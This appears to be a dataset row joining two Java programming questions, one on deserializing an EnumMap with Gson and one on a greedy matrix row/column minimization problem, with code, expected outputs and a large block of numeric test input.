; import com.google.gson.Gson ; enum FRUIT { APPLE , BANANA } EnumMap < FRUIT , String > fruitMap ; Gson gson = new Gson ( ) ; public void setFruitMap ( String jsonString ) { Type typeToken = new TypeToken < EnumMap < FRUIT , String > > ( ) { } .getType ( ) ; fruitMap = gson.fromJson ( jsonString , typeToken ) ; } String fruitMapString = `` { \ '' BANANA\ '' : \ '' tasty ! \ '' , \ '' APPLE\ '' : \ '' gross ! \ '' } '' ; setFruitMap ( fruitMapString ) ; //Error occurs here.assertEquals ( `` tasty ! `` , fruitMap.get ( FRUIT.BANANA ) ) ; public JsonDeserializer < EnumMap < FRUIT , String > > deserializeFruitMap ( ) { return new JsonDeserializer < EnumMap < FRUIT , String > > ( ) { @ Override public EnumMap < FRUIT , String > deserialize ( JsonElement element , Type typeOf , JsonDerializationContext context ) { Type token = new TypeToken < HashMap < String , String > > ( ) { } .getType ( ) ; HashMap < String , String > tempMap = context.deserialize ( element , token ) ; EnumMap < FRUIT , String > fruitMap = new EnumMap < > ( FRUIT.class ) ; for ( Entry < String , String > entry : tempMap.entrySet ) { fruitMap.put ( FRUIT.valueOf ( entry.getKey ( ) ) , entry.getValue ( ) ) ; } return fruitMap ; } } ; } public < K extends Enum < K > , V > JsonDeserializer < EnumMap < K , V > > deserializeEnumMap ( ) { return new JsonDeserializer < EnumMap < K , V > > ( ) { @ Override public EnumMap < K , V > deserialize ( JsonElement element , Type typeOf , JsonDerializationContext context ) { Type token = new TypeToken < HashMap < String , String > > ( ) { } .getType ( ) ; HashMap < String , String > tempMap = context.deserialize ( element , token ) ; EnumMap < K , V > enumMap = new EnumMap < > ( K.class ) ; //This does n't work . for ( Entry < String , String > entry : tempMap.entrySet ) { fruitMap.put ( K.valueOf ( entry.getKey ( ) ) , entry.getValue ( ) ) ; } return enumMap ; } } ; }",How to deserialize an EnumMap +Java,"I am not good at programmatically implementing a heuristic search algorithm / Dijkstra 's algorithm/ A* search algorithm mentioned . However , while solving a problem mentioned in one of my post ( Matrix manipulation : logic not fetching correct answer for higher order NXN matrix data ) , I found a flaw in my approach to solve the problem . The problem statement is as below.Problem StatementThere is a NxN matrix , divided into N * N cells . Each cell has a predefined value . Which would be given as an input . Iteration has to happen K number of times which is also given in the test input . We have to make sure that we pick the optimum/min value of rows/columns at each iteration . Final output is the cumulative sum of optimum value saved at the end of each iteration.Steps 1 . Sum up the individual row and column and find the min sum of rows and columns , ( it could be a row or a column , just need the minimum row or a column ) Step 2 . Store the sum found above separatelyStep 3 . Increment elements of the min . sum row or column . by 1Repeat steps 1,2,3 from 1 to Kth valueadd the sum at each iteration ( specified in step2 ) output is the sum obtained on on the Kth iteration.Sample dataOutput data22My CodeIssue with my CodeThis solution was working for some lower order matrix and simple scenarios , however , when I tried test cases that involved 100x100 sized matrix many test cases failed . Initially , I thought it was some memory issue/stack overflow when the array size increases but now I have worked out that it is a flaw in the code that I am not able to anticipate the correct path that would eventually guides me to the optimum solution I 'd like to achieve . The flaw that I found in my code is , say , in one scenario when the optimum value from both rows and columns is equal . I am free to choose row or column , however , the problem here is , say , if I go with row first it may update the values of row to some non-optimum value , I believe only I 'd know all the optimum paths beforehand would help me get the correct answer.Any help in this regard would be highly appreciated.This question has a reference to question asked here . Matrix manipulation : logic not fetching correct answer for higher order NXN matrix dataOnly when Higher order matrix is used I get the below difference in output when I apply the above approach.Edit : Case 3 ( my output was 50778 and the expected was 50708 ) Case 2 sample data below ( my output was 30066 and the expected was 30050 )","2 , 4 //input data N , K [ 1 , 3 ] //matrix ' first row [ 2 , 4 ] //matrix ' second row void matrixManipulation ( ) throws IOException { int N = Reader.nextInt ( ) ; int [ ] [ ] matrix = new int [ N ] [ N ] ; int K = Reader.nextInt ( ) ; for ( int i = 0 ; i < N ; i++ ) { for ( int j = 0 ; j < N ; j++ ) { matrix [ i ] [ j ] = Reader.nextInt ( ) ; } } int [ ] row = new int [ N ] ; int [ ] row_clone = new int [ N ] ; int [ ] col = new int [ N ] ; int [ ] col_clone = new int [ N ] ; int test =0 ; for ( int kk = 0 ; kk < K ; kk++ ) { row = calculateSum.calculateRowSum ( matrix , N ) ; row_clone = row.clone ( ) ; col= calculateSum.calculateColSum ( matrix , N ) ; col_clone = col.clone ( ) ; Arrays.sort ( col ) ; Arrays.sort ( row ) ; int pick = 0 ; boolean rowflag = false ; int rowNumber = 0 ; int colNumber = 0 ; if ( row [ 0 ] < col [ 0 ] ) { pick = row [ 0 ] ; // value rowflag = true ; for ( int i = 0 ; i < N ; i++ ) { if ( pick == row_clone [ i ] ) rowNumber = i ; } } else if ( row [ 0 ] > col [ 0 ] ) { pick = col [ 0 ] ; // value rowflag = false ; for ( int i = 0 ; i < N ; i++ ) { if ( pick == col_clone [ i ] ) colNumber = i ; } } > else if ( row [ 0 ] == col [ 0 ] ) { > pick = col [ 0 ] ; > rowflag = false ; > for ( int i = 0 ; i < N ; i++ ) { > if ( pick == col_clone [ i ] ) > colNumber = i ; > } } test= test + pick ; if ( rowflag ) { matrix = rowUpdate ( matrix , N , rowNumber ) ; } else { matrix = columnUpdate ( matrix , N , colNumber ) ; } System.out.println ( test ) ; } } Output Expected Output 1 5499 1 5499 2 30050 2 30050 3 50778 3 50708 4 36589 4 36509 5 19259 5 19259 6 21367 6 21367 100 575 6 5 10 6 3 9 2 4 7 6 6 8 6 5 6 1 6 9 1 6 8 3 7 3 2 4 8 7 8 3 6 3 9 4 2 1 8 5 5 1 5 8 6 6 10 5 3 4 7 3 3 10 10 3 1 7 3 8 4 4 9 3 7 6 7 9 3 2 2 2 4 8 9 8 1 10 6 6 10 7 5 5 7 9 8 3 2 3 3 9 6 3 7 5 5 10 3 3 37 6 2 3 8 8 3 10 1 8 4 7 5 2 9 5 3 5 4 6 4 10 1 6 1 5 1 6 4 9 6 4 10 1 2 4 8 10 5 9 1 9 1 9 3 10 9 9 6 5 6 5 9 4 1 4 9 8 6 9 1 3 1 4 9 2 3 4 1 6 4 1 1 8 2 5 10 1 1 10 7 8 7 3 9 3 10 3 10 5 8 3 7 9 10 5 7 3 2 34 5 4 6 9 6 6 3 6 3 2 4 9 3 3 6 10 6 3 6 7 7 9 8 9 3 6 6 3 4 9 6 2 5 9 9 9 1 5 1 7 4 9 7 10 3 1 8 1 9 9 3 1 4 6 1 8 10 3 1 10 5 9 4 3 6 8 8 1 3 5 9 1 9 9 4 3 5 1 7 1 1 9 2 1 9 7 4 7 8 7 3 3 9 6 9 10 7 10 52 9 4 3 4 5 6 8 5 5 8 2 3 2 1 2 5 1 10 6 5 6 6 8 4 8 3 6 6 3 3 1 6 3 3 7 6 4 2 7 1 5 9 8 9 5 8 8 10 8 8 8 10 7 3 1 8 6 7 2 2 5 9 8 10 10 10 3 2 6 8 9 6 10 6 10 5 10 9 7 6 4 5 6 4 8 7 10 3 5 9 1 5 7 5 5 9 9 3 1010 2 1 8 2 2 7 3 6 8 10 8 4 1 3 9 3 8 4 8 7 5 4 1 5 3 2 1 6 3 8 8 8 9 10 4 8 10 9 1 4 1 5 5 9 2 1 2 4 1 3 7 5 8 7 2 5 1 2 2 5 4 4 2 3 2 9 6 5 3 6 5 2 6 9 3 4 7 9 4 1 8 5 10 3 1 3 6 8 8 6 3 1 4 8 6 2 6 6 12 7 3 9 10 8 5 8 1 1 7 6 2 3 4 1 2 3 9 2 2 1 2 2 7 10 8 4 4 9 9 6 3 9 9 4 8 2 5 3 1 2 9 1 2 3 1 9 4 7 7 1 10 8 9 9 6 7 5 2 8 3 1 1 7 4 8 7 10 9 10 7 9 4 10 8 4 10 1 1 10 2 2 9 8 8 1 3 4 2 10 2 2 3 3 7 4 6 6 14 1 5 9 2 7 3 9 5 8 8 5 1 7 1 10 1 3 1 4 2 3 7 1 4 3 5 5 8 5 6 10 2 10 6 2 1 10 9 2 3 8 2 6 9 3 2 1 4 9 6 6 7 1 6 1 8 6 1 4 10 10 2 3 1 9 9 2 9 1 5 8 8 1 10 10 8 1 1 7 4 7 7 2 9 8 1 5 10 10 3 5 6 10 4 2 10 6 10 95 3 3 7 7 4 10 4 6 4 3 4 5 6 4 1 4 3 3 2 1 5 1 1 10 3 3 8 6 9 9 6 10 3 3 1 6 9 2 8 7 1 7 10 8 4 7 5 8 4 9 10 9 8 4 4 3 2 4 3 10 10 5 7 8 1 9 3 8 1 4 9 3 5 9 1 3 4 8 10 5 2 4 5 2 7 5 5 1 2 9 6 1 2 3 10 4 5 9 910 10 2 7 10 9 2 1 3 4 6 10 5 1 10 7 3 5 7 9 8 9 4 7 6 4 8 3 9 10 9 1 5 5 7 7 10 8 6 3 9 4 2 6 6 7 5 2 1 4 6 9 3 5 9 5 8 6 8 2 1 3 6 2 2 4 5 1 1 10 2 1 6 2 10 8 3 3 6 1 2 1 4 10 4 6 6 9 7 6 7 8 2 7 9 3 9 10 1 59 3 4 4 8 4 9 1 1 9 7 4 8 1 5 3 2 3 5 4 7 2 6 6 9 5 8 5 2 4 1 3 2 5 7 6 2 8 3 6 10 10 3 3 8 2 4 10 3 4 10 8 2 3 5 2 10 9 3 4 3 4 6 7 6 8 7 3 7 3 1 4 2 4 5 2 5 5 10 4 1 1 7 1 9 6 5 5 7 2 8 2 6 2 10 10 4 3 1 106 2 4 7 3 7 4 4 8 1 6 1 9 5 3 2 6 1 7 1 4 8 4 4 1 1 4 8 1 4 5 2 4 2 6 7 3 2 9 5 5 3 3 1 7 10 4 9 10 4 2 4 6 3 4 1 1 7 3 1 2 10 7 9 3 2 8 7 1 1 5 8 7 9 7 8 9 5 1 6 7 6 6 2 10 4 4 8 10 7 4 4 10 5 6 1 9 4 5 45 1 2 3 4 6 10 8 1 3 2 3 7 10 4 2 5 10 5 10 8 4 8 5 2 3 2 7 10 6 8 2 1 6 9 1 3 6 8 9 8 7 3 7 2 5 2 7 3 2 5 3 1 5 1 5 4 2 4 4 6 7 5 1 9 6 1 6 5 6 6 7 4 3 1 9 8 6 2 1 8 5 7 7 7 9 1 1 10 6 4 4 1 8 3 10 6 7 1 54 6 7 3 8 1 1 7 8 10 8 4 9 7 7 3 4 2 10 6 5 6 2 9 8 2 9 7 10 6 3 3 1 1 3 3 2 7 4 8 4 5 3 7 9 1 5 7 2 4 9 5 4 4 1 10 3 7 6 9 3 8 10 5 5 5 1 4 2 10 4 9 5 5 1 7 6 3 3 8 6 6 10 6 5 10 9 4 10 10 10 6 6 7 8 3 4 1 10 98 2 8 2 3 2 4 1 8 3 5 9 8 6 6 9 1 4 2 1 7 3 5 9 1 8 2 5 1 1 5 7 5 9 9 1 10 3 6 1 2 10 9 3 1 10 2 4 10 6 8 6 9 10 7 5 10 10 9 6 8 2 5 9 3 2 4 9 8 8 9 3 5 10 8 1 3 3 2 7 2 1 5 10 10 3 10 7 4 8 9 4 6 2 5 4 8 9 10 49 7 3 9 9 9 2 3 6 6 2 1 9 10 6 4 2 10 8 7 8 9 3 10 9 5 6 2 5 1 10 1 4 4 10 6 6 8 4 6 8 9 3 1 4 4 10 1 3 7 6 7 5 6 7 9 4 6 6 6 8 2 8 9 7 4 6 9 7 10 8 6 9 3 6 6 5 3 3 8 10 3 9 1 3 8 5 2 8 10 8 7 5 6 10 7 6 5 9 97 9 6 1 8 4 8 8 9 2 10 7 1 4 6 4 5 5 5 10 3 10 8 3 7 1 4 9 10 6 10 3 9 2 8 3 8 4 6 4 8 3 4 4 10 1 1 5 10 2 8 8 4 2 4 6 5 5 9 1 5 10 1 3 5 5 10 9 7 1 1 5 4 6 4 3 10 5 3 2 3 2 10 1 3 7 10 6 8 2 8 8 8 7 6 10 9 4 5 62 4 9 1 1 7 2 3 6 10 5 3 9 4 9 1 1 2 8 7 3 2 8 6 4 2 10 7 7 5 1 5 8 9 7 5 8 2 10 8 8 8 9 10 7 1 2 2 5 4 9 10 1 4 4 9 8 6 8 7 2 3 4 1 8 8 1 3 4 7 4 10 2 10 7 7 6 8 7 9 4 6 10 8 2 6 2 7 5 5 4 7 9 10 2 7 3 3 3 410 7 9 5 7 10 3 7 6 10 7 4 3 3 1 1 1 7 1 2 8 9 5 2 7 6 6 5 5 5 10 3 4 9 6 9 2 3 3 5 1 9 2 2 5 9 5 7 3 6 4 7 5 1 10 2 3 5 6 6 5 4 1 4 9 3 3 7 8 2 1 7 1 6 1 10 4 6 1 6 10 6 7 2 9 7 4 2 8 2 2 7 6 3 3 3 5 2 1 103 9 4 1 8 1 1 3 5 6 7 3 4 8 1 7 6 2 2 3 7 1 7 1 7 8 10 8 7 6 10 7 9 10 9 9 9 2 10 3 8 5 10 7 9 10 7 8 9 4 3 5 7 10 10 6 4 10 1 9 8 1 6 5 9 8 10 4 9 10 7 9 8 8 1 7 4 7 9 3 4 5 7 1 3 6 5 1 9 3 3 10 4 2 5 10 7 9 5 21 6 8 8 4 7 6 5 6 6 3 6 10 4 6 5 7 9 1 1 2 4 3 6 10 1 10 8 7 1 1 7 9 1 4 7 7 4 6 6 6 7 10 3 5 5 8 3 4 10 7 1 1 1 6 4 5 1 9 6 7 2 8 3 8 3 1 2 7 7 4 6 8 9 7 4 7 3 6 1 5 4 10 5 6 3 4 10 8 6 8 8 5 3 10 1 4 1 8 54 3 2 2 10 4 7 10 6 8 9 2 2 7 7 10 3 6 9 6 3 1 5 10 8 4 10 2 9 3 1 5 9 4 7 8 5 1 1 1 5 2 9 4 7 4 4 6 6 1 8 10 6 5 10 9 9 10 5 5 4 3 9 2 9 3 3 4 4 8 2 1 9 8 10 1 2 7 4 4 9 2 9 2 4 9 8 6 6 8 7 3 10 6 7 1 2 7 5 64 3 10 5 4 6 6 1 3 7 5 5 2 4 9 6 3 7 4 7 1 10 7 10 5 6 9 2 3 6 6 3 6 8 5 7 1 5 5 6 2 7 8 4 5 4 2 7 1 5 6 4 6 7 8 3 3 7 8 10 1 4 9 10 2 1 9 5 8 8 8 4 1 9 4 4 10 4 4 4 3 10 9 7 9 4 3 7 10 7 7 9 4 10 6 5 6 6 9 73 8 7 1 7 2 9 5 5 6 2 10 10 8 3 10 3 1 4 6 1 8 6 10 9 7 5 3 9 10 3 5 5 1 5 10 4 4 6 3 7 8 9 4 1 10 10 5 6 10 10 1 9 9 1 9 9 3 9 10 9 3 5 1 9 9 4 8 4 3 4 6 10 10 7 6 8 9 2 9 6 7 5 3 8 7 4 7 8 2 5 4 6 8 7 1 8 9 2 68 7 7 2 6 7 1 2 4 10 3 1 2 5 10 8 6 9 9 6 4 10 5 4 3 2 10 9 2 9 5 5 4 5 9 8 10 7 8 3 8 4 7 1 10 2 2 7 1 7 8 9 7 9 2 6 3 5 5 3 6 1 2 10 4 2 5 5 4 8 4 1 4 3 10 1 1 8 8 4 5 2 3 4 6 3 7 9 4 5 7 8 4 5 3 5 10 7 8 81 6 9 9 8 6 4 9 8 2 2 1 10 6 7 4 8 8 2 2 1 4 3 3 5 7 6 6 5 9 9 10 1 5 7 3 6 4 1 9 10 4 10 8 8 5 7 10 7 8 7 10 6 8 6 6 10 3 9 9 5 3 3 9 5 1 5 8 5 5 7 1 2 7 5 9 9 6 9 3 10 1 1 2 5 9 7 5 3 6 8 4 1 3 3 10 1 10 6 58 7 10 8 1 1 5 10 2 9 6 4 8 7 8 3 6 3 2 5 8 2 2 6 6 9 9 4 8 1 8 9 2 4 3 4 2 8 6 1 5 10 4 10 3 3 5 2 1 9 3 5 3 6 7 10 1 5 10 3 3 6 4 9 1 6 4 4 8 7 1 7 9 9 6 3 4 6 5 4 4 4 1 3 9 5 2 2 9 8 7 6 5 10 3 6 4 8 7 81 1 9 9 9 9 8 4 7 1 4 5 9 9 9 1 5 7 3 4 6 6 7 4 5 4 9 2 7 10 7 9 8 2 7 8 9 10 8 10 5 8 5 9 10 3 2 5 5 9 4 8 3 8 3 10 10 9 7 5 6 10 10 10 4 3 1 5 9 1 9 3 6 3 1 4 7 10 10 10 8 7 10 6 1 2 6 7 2 10 4 2 5 3 9 6 9 6 5 210 2 9 4 9 4 9 1 6 1 5 3 5 10 6 7 1 4 1 7 9 1 1 4 7 7 8 10 7 3 5 3 5 5 4 8 7 1 7 4 8 7 10 3 7 3 2 6 8 9 4 9 2 6 6 4 3 7 6 5 3 2 1 4 6 1 6 3 6 4 1 4 4 5 8 1 7 2 3 6 10 1 4 3 4 3 5 1 6 1 3 9 5 8 2 3 3 3 8 28 3 5 7 6 6 6 4 8 9 8 10 7 4 5 10 4 9 10 2 2 5 6 4 10 6 6 2 4 8 9 2 10 3 5 5 7 1 7 6 8 4 2 3 5 5 3 5 7 2 4 3 8 5 9 1 4 8 5 5 7 4 2 4 10 1 2 7 10 3 7 10 6 9 8 3 2 7 2 2 5 3 5 8 10 7 3 5 3 9 3 10 9 1 2 8 4 2 1 107 3 5 8 8 6 5 5 9 8 4 2 2 8 2 6 7 8 8 6 6 10 8 6 3 4 5 1 3 10 5 8 2 4 6 5 7 9 7 10 9 4 1 3 2 1 3 10 9 3 8 7 9 1 2 1 10 8 3 1 3 7 2 10 10 8 9 4 4 5 1 2 6 6 9 2 8 7 5 7 9 7 6 5 7 1 4 6 10 4 7 3 8 5 10 8 4 8 8 71 2 1 2 6 8 4 2 1 6 7 5 7 9 7 8 9 9 1 10 6 9 2 4 10 1 9 8 7 3 7 3 3 6 4 4 5 6 10 4 9 6 9 9 4 1 3 8 4 2 3 5 4 7 7 1 10 2 1 4 5 2 4 10 4 10 1 6 2 6 3 9 8 4 4 8 3 1 7 10 9 5 5 2 1 6 3 4 4 8 7 9 9 6 6 10 8 7 8 104 1 9 4 5 6 6 10 9 6 7 5 8 1 3 9 5 10 6 7 7 10 8 8 9 4 3 4 3 6 1 9 5 10 5 8 4 10 7 4 2 6 6 10 6 4 4 3 5 8 6 4 2 4 8 3 7 4 2 9 1 1 6 2 6 1 5 6 7 10 6 2 6 6 3 4 10 2 1 1 8 5 6 7 5 3 8 10 2 10 6 2 6 9 1 8 5 7 1 13 3 2 1 7 2 4 1 3 2 2 8 4 7 1 2 2 10 4 9 8 9 10 8 2 9 9 6 10 2 5 2 8 8 10 7 6 10 1 7 3 8 4 7 9 7 1 7 2 4 6 5 4 1 2 10 8 4 9 7 10 5 8 2 8 7 6 2 9 8 5 6 3 5 10 10 9 6 6 3 1 7 9 10 10 1 3 8 3 3 9 1 2 3 8 6 5 7 10 89 8 6 2 10 4 4 4 10 9 2 5 1 1 9 7 3 8 9 8 6 10 5 9 5 4 1 6 2 9 9 4 9 6 10 5 6 3 3 2 2 2 4 4 2 5 5 6 10 7 10 5 1 5 10 9 9 2 6 10 2 5 7 5 8 3 4 3 4 8 4 5 7 7 10 4 7 7 2 6 8 9 4 5 6 9 3 9 3 8 1 10 4 3 5 7 4 5 1 103 1 2 9 7 5 1 1 8 4 7 6 7 10 1 6 7 3 4 2 7 10 8 4 7 8 10 5 1 9 4 3 10 9 9 9 1 5 7 8 10 6 5 2 10 9 4 2 6 4 5 9 10 8 10 2 1 4 5 10 7 2 3 9 9 9 2 9 4 3 2 10 6 1 9 8 5 1 5 2 7 1 3 1 9 4 7 1 4 6 8 8 10 9 1 8 7 1 5 27 7 7 10 2 10 3 7 1 4 7 1 7 6 6 6 10 4 5 2 1 9 3 1 10 2 1 7 7 1 10 3 3 1 1 2 3 8 2 8 7 6 3 6 6 10 5 8 6 1 10 7 7 1 10 8 4 4 1 7 3 2 10 8 6 2 1 4 4 5 6 7 4 9 1 5 5 1 1 9 5 5 8 1 3 3 9 8 2 10 8 9 2 9 6 8 3 3 3 32 8 4 9 5 7 10 5 9 10 2 7 8 1 2 4 10 2 4 1 8 4 3 2 9 7 8 7 10 8 1 5 9 4 5 10 5 10 2 10 10 2 2 2 1 3 1 3 4 1 6 9 7 4 8 4 10 9 8 3 2 8 1 10 4 8 1 8 6 1 5 8 4 2 2 7 7 2 2 5 4 1 7 1 8 7 10 1 10 1 10 9 9 10 1 7 6 1 6 76 2 1 6 5 7 2 9 6 10 6 4 3 7 7 9 9 8 7 1 7 7 8 2 5 7 1 10 7 6 2 1 5 10 10 7 2 8 9 10 9 9 1 1 3 10 2 6 3 8 4 2 9 6 7 5 5 2 7 4 7 9 5 1 7 1 5 3 1 4 5 10 7 6 7 8 6 5 8 2 1 10 8 2 9 4 3 10 10 8 5 8 6 3 2 1 4 4 9 33 10 6 5 3 9 10 8 5 1 3 4 9 4 8 10 2 7 6 8 6 1 1 3 3 8 5 7 10 4 7 5 2 2 4 10 5 4 9 6 4 5 9 6 10 7 6 7 6 7 1 3 8 5 1 1 4 2 4 10 1 4 5 10 5 9 2 6 7 2 3 1 3 1 1 9 2 5 1 10 10 2 4 10 3 6 2 6 4 5 9 8 7 9 8 9 8 2 3 97 10 4 1 3 6 10 7 1 2 6 8 9 9 4 2 3 6 2 1 4 6 9 1 6 7 6 10 4 6 6 4 7 8 6 7 5 8 6 10 10 7 5 7 10 10 7 1 10 10 4 2 10 9 2 5 3 9 8 2 2 7 9 4 8 4 10 3 8 9 9 1 8 4 9 4 3 7 7 9 1 8 7 8 3 6 6 1 2 1 6 5 9 5 3 1 6 2 6 1010 5 5 3 9 10 6 5 3 6 5 4 7 9 6 10 7 5 5 2 10 9 6 9 7 9 9 3 5 5 9 3 4 4 7 3 9 8 1 6 3 2 8 5 6 6 8 3 6 8 7 7 4 2 4 6 10 4 6 8 5 4 7 5 1 2 9 9 6 5 10 9 4 10 4 8 6 4 9 2 1 5 1 7 3 3 5 1 3 7 8 1 2 10 9 2 4 5 3 29 5 1 3 7 10 10 9 9 3 8 3 8 5 4 5 3 3 5 7 9 7 5 8 3 6 5 2 6 3 8 6 8 10 8 2 8 3 2 7 1 8 9 3 4 3 3 4 1 5 2 10 4 7 7 7 3 5 8 3 1 2 8 8 7 5 9 4 6 9 5 3 7 8 1 1 1 5 2 1 10 7 3 8 8 4 3 6 3 6 4 1 8 3 7 4 8 10 10 31 10 10 7 3 3 10 3 8 2 5 2 8 4 9 3 8 9 10 5 7 1 6 10 9 2 2 2 10 7 8 2 6 1 8 4 7 3 6 3 7 6 8 5 4 5 5 7 8 9 5 9 8 4 6 9 5 9 8 5 7 7 3 10 1 9 10 3 4 9 10 9 6 4 9 6 6 5 7 4 7 4 6 10 3 9 4 5 7 3 2 9 3 1 1 3 1 10 7 106 10 4 9 6 8 3 9 1 6 7 9 1 7 6 5 1 1 3 2 10 7 9 5 8 8 8 8 9 3 3 6 4 8 2 4 3 9 5 1 8 5 9 9 8 2 5 10 10 6 4 4 6 9 9 3 1 5 8 1 7 7 6 4 10 2 3 5 8 8 8 2 10 1 5 2 4 2 2 9 4 7 9 4 3 1 3 9 7 6 6 7 8 2 2 5 5 6 4 45 10 2 9 9 7 7 6 3 4 2 6 7 3 6 3 4 3 1 4 9 5 4 6 9 8 8 5 4 4 1 9 6 10 8 8 2 2 8 7 5 3 2 6 3 6 2 5 2 9 5 8 2 9 10 5 6 1 2 5 8 6 2 10 8 2 9 5 10 3 10 6 3 3 1 10 8 9 5 2 1 9 2 3 6 5 5 8 10 9 2 10 7 2 8 5 7 4 7 98 9 4 1 6 1 3 9 10 8 7 1 5 8 9 2 7 6 3 6 3 5 8 7 6 1 3 6 7 2 6 8 7 6 8 8 4 4 8 9 5 3 9 1 5 4 6 5 9 1 8 2 7 1 9 6 5 7 9 7 1 1 6 3 1 6 2 6 10 2 4 7 2 3 9 8 7 9 2 6 7 6 8 7 9 4 4 8 8 4 4 2 10 7 8 5 1 7 1 15 3 4 7 4 4 4 9 10 4 8 5 2 6 4 5 2 9 5 10 5 8 10 2 7 7 2 2 4 10 2 8 6 4 7 1 2 3 2 1 6 6 10 4 3 9 5 1 4 3 6 7 1 10 10 10 3 4 9 4 2 4 2 8 10 5 8 7 5 2 9 2 2 1 8 4 8 2 9 8 5 5 6 5 2 7 4 2 2 6 9 6 5 4 3 5 6 4 6 82 7 5 10 10 8 10 6 4 10 10 2 8 9 8 5 1 4 2 2 4 10 4 8 7 8 10 8 7 4 5 7 10 3 5 5 6 4 10 4 10 4 6 7 3 6 6 7 3 10 2 3 6 1 5 1 2 2 6 4 4 1 7 6 6 7 8 1 8 3 9 4 7 10 7 1 6 7 5 6 4 7 3 3 10 3 4 7 2 1 6 2 5 9 7 7 3 7 1 85 2 10 8 2 4 1 5 6 2 7 6 2 2 10 2 9 8 1 5 2 5 8 1 9 10 3 3 2 3 2 5 4 6 4 1 5 6 5 5 8 9 9 8 3 2 5 3 10 9 5 3 4 9 8 3 10 5 5 6 2 1 1 8 9 1 6 9 4 10 1 1 10 8 9 8 2 5 2 4 10 6 3 10 10 6 6 7 2 7 7 9 10 7 7 7 10 9 10 108 7 4 10 6 3 7 3 7 6 4 9 10 4 7 4 8 6 2 9 5 4 6 2 3 5 1 6 10 2 5 7 7 8 2 1 3 3 9 6 3 2 10 3 5 4 7 1 2 5 9 5 9 7 10 8 10 6 9 8 3 6 8 10 2 9 1 4 5 7 1 10 7 2 1 3 6 9 2 1 6 1 9 8 9 3 4 3 2 1 2 6 9 3 1 10 3 7 9 31 9 8 10 4 5 1 9 6 4 1 5 7 8 4 1 7 5 8 1 5 7 6 2 2 5 3 2 2 8 4 9 1 9 2 8 6 3 6 8 2 2 2 8 8 6 9 7 5 4 4 10 5 8 7 2 7 10 2 4 7 10 4 5 3 1 8 9 5 9 4 10 7 6 3 5 7 3 8 9 5 10 1 5 2 4 6 5 7 10 8 1 5 10 10 5 3 7 3 38 9 6 6 9 10 5 8 1 1 2 9 9 9 2 6 1 3 2 9 4 4 1 9 5 2 8 1 5 10 3 8 3 7 10 5 4 10 8 5 10 4 4 9 6 7 1 10 10 2 6 4 5 1 1 10 10 8 2 5 1 1 3 7 5 6 2 8 4 9 8 3 10 6 2 5 3 3 8 10 2 7 9 5 9 7 9 2 1 3 10 7 1 9 7 10 1 1 2 66 10 1 5 10 1 4 5 10 5 4 2 2 8 4 2 4 7 7 9 1 5 7 5 2 1 3 6 6 5 5 5 10 7 7 6 10 9 10 3 9 3 2 10 8 9 9 3 5 9 8 4 3 9 3 1 4 1 9 4 3 3 3 2 1 3 1 4 1 5 3 4 5 5 10 2 7 10 9 2 5 6 1 9 4 6 4 10 1 9 4 8 6 1 10 6 7 4 5 51 6 6 9 5 3 3 6 5 9 1 2 1 4 9 4 7 9 2 7 10 9 7 6 4 2 5 3 9 6 7 2 5 3 1 3 5 4 5 3 3 7 10 7 3 7 7 5 7 7 6 3 3 9 1 10 7 3 10 7 4 4 3 6 8 1 8 4 7 9 8 10 3 2 6 2 6 8 5 1 7 2 8 2 2 5 5 5 7 6 8 3 10 1 8 9 7 5 8 38 2 5 2 9 6 8 2 10 8 2 10 3 9 9 7 6 1 1 3 7 3 2 10 5 1 5 7 4 1 3 6 9 6 9 3 8 3 6 10 2 4 9 9 10 7 5 8 7 2 1 5 9 2 1 2 2 8 5 10 8 6 8 7 7 9 6 6 1 6 3 5 9 8 1 1 5 10 8 9 9 4 2 5 4 7 7 3 3 8 6 3 4 9 10 8 4 7 8 1010 10 3 5 7 4 6 7 10 2 6 3 8 9 8 3 10 5 9 2 6 9 4 3 6 3 10 1 7 2 9 4 7 4 8 2 7 8 4 8 8 2 4 5 4 10 7 9 1 2 3 9 2 4 6 2 10 7 3 9 6 4 3 6 6 4 6 9 8 2 2 2 7 2 6 6 6 4 9 8 2 1 7 5 5 10 10 9 10 6 10 3 7 7 8 3 6 4 6 88 7 3 4 1 6 9 7 6 10 10 10 10 2 9 1 10 10 9 9 2 6 9 4 5 6 3 6 1 5 1 3 2 5 2 6 9 4 5 4 6 9 10 5 5 2 9 1 8 10 8 6 7 6 7 10 1 10 9 5 9 6 8 7 10 7 10 6 10 1 1 4 3 4 2 5 2 10 10 7 9 7 7 3 6 8 4 1 1 5 3 10 7 3 8 5 3 5 5 13 2 3 8 5 8 2 10 6 9 8 9 7 7 8 4 10 2 5 4 4 5 8 4 8 5 1 6 3 9 8 6 6 1 1 1 8 9 5 7 8 8 8 3 9 5 10 7 5 2 7 4 4 4 8 8 10 9 6 1 8 5 10 9 1 6 4 4 2 3 6 9 5 4 8 6 4 1 5 2 7 5 8 2 1 1 10 1 5 7 9 9 5 1 5 8 10 10 5 110 6 8 10 9 4 8 3 4 10 8 6 4 6 7 6 10 7 10 4 7 6 7 9 3 1 9 2 5 4 2 5 7 1 3 5 5 2 1 7 8 8 1 7 2 9 5 6 3 1 2 10 1 1 7 3 5 8 9 6 7 9 9 8 2 7 3 10 1 8 5 3 7 3 4 6 4 1 2 8 3 9 2 9 1 8 7 6 1 6 4 2 7 7 9 5 10 1 2 21 1 4 4 8 1 1 8 5 8 5 4 4 10 1 1 4 10 10 5 8 6 3 8 8 4 3 9 1 9 2 6 9 6 4 1 1 1 5 10 5 3 1 10 4 8 7 3 9 2 1 3 4 10 5 6 4 9 5 2 1 4 4 6 8 6 10 10 6 8 4 4 3 1 4 2 5 9 1 2 4 4 2 6 10 1 7 4 9 4 8 3 5 4 1 1 5 4 10 17 1 5 2 10 5 8 2 1 9 7 4 6 1 6 9 1 8 7 3 9 3 5 5 3 2 7 8 5 7 3 2 1 9 3 10 8 9 1 3 1 1 8 1 9 1 8 2 3 1 5 7 8 6 8 6 10 4 8 3 2 3 8 3 7 9 1 6 7 2 7 3 1 10 8 3 7 6 6 8 3 10 5 4 8 1 2 1 2 8 6 9 3 10 7 10 1 4 9 38 9 10 1 7 5 9 10 5 4 6 4 7 1 1 5 1 8 6 7 10 10 4 9 1 5 3 10 2 5 9 1 6 1 4 7 2 4 1 9 1 9 5 9 6 10 3 6 2 4 9 1 6 5 10 8 5 10 7 10 5 8 1 9 3 10 5 6 1 8 6 1 7 8 10 7 1 8 8 2 5 4 9 1 10 6 4 6 6 3 4 7 10 6 7 9 3 7 3 14 4 8 7 10 5 2 5 7 1 10 7 10 7 9 3 3 10 2 7 5 4 4 2 1 8 9 4 